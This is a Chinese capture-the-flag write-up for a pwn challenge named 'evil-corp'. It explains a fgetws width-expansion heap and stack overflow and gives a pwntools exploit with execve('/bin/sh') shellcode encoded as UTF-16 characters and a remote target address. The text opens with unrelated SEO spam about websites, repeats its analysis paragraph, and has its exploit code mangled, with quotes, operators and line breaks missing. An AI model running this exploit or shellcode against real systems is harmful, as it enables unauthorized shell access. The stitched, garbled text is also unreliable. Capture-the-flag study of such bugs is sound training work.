高速建设材料在哪个网站购买,黄页88网站信息怎么删除,信阳专业网站建设,江西建设厅培训网站程序分析 初始化功能 申请了一块正常块和一块可以执行shellcode的空间 登录 向正常块写入数据 字符宽度转换
漏洞分析
所有的输入都使用了fgetws函数这个函数,这个函数会把整个串的每一个字符按最低两个宽来接收输入,如果存在unicode32等等更宽的字符这个函数会把每个字符都…程序分析 初始化功能 申请了一块正常块和一块可以执行shellcode的空间 登录 向正常块写入数据 字符宽度转换
漏洞分析
所有的输入都使用了fgetws函数这个函数,这个函数会把整个串的每一个字符按最低两个宽来接收输入,如果存在unicode32等等更宽的字符这个函数会把每个字符都按最宽字符的宽度拓展。 例如: ‘a’ 总共占2个字节 ‘a’ \u1111’总共占4个字节 ‘a’ \U00000000’总共占8个字节 第二个函数是向正常块复制数据但是由于使用了fgetws实际上在空间中就会占用至少0x2000个字节又因为正常块大0x1000字节所以只需要输入0x800个ASCII就可以覆盖完正常块,接下来将shellcode两两一组编成unicode16传输就可以被程序正常接收了。 成功覆盖出正常块并且写入shellcode到可执行块上 这边也同理我们可以使用ASCII来多占空间完成栈溢出,最后可以使用unicode32字符一次性占4个字节完成地址覆盖。
exp
from pwn import *
context.arch amd64
def gd():gdb.attach(p)pause()
def login():p.recvuntil(bUsername: )p.sendline(beliot) p.recvuntil(bPassword: )p.sendline(b4007)
def logout():p.recvuntil(b )p.sendline(b3)
def login1(data):p.recvuntil(bUsername: )p.sendline(beliot) p.recvuntil(bPassword: )p.sendline(data)
def input(data):p.recvuntil(b )p.sendline(b2)sleep(0.1)p.sendline(data)
p process(./evil-corp)
#p remote(94.237.54.75,54453)
login()
shellcode\u686a\ub848\u622f\u6e69\u2f2f\u732f\u4850\ue789\u7268\u0169\u8101\u2434\u0101\u0101\uf631\u6a56\u5e08\u0148\u56e6\u8948\u31e6\u6ad2\u583b\u050f
input(a*0x800 shellcode)
logout()
login1(a * 0x56 \U00011000 \x00\x00)#0x56 * 4 0x158p.interactive() 成功getshell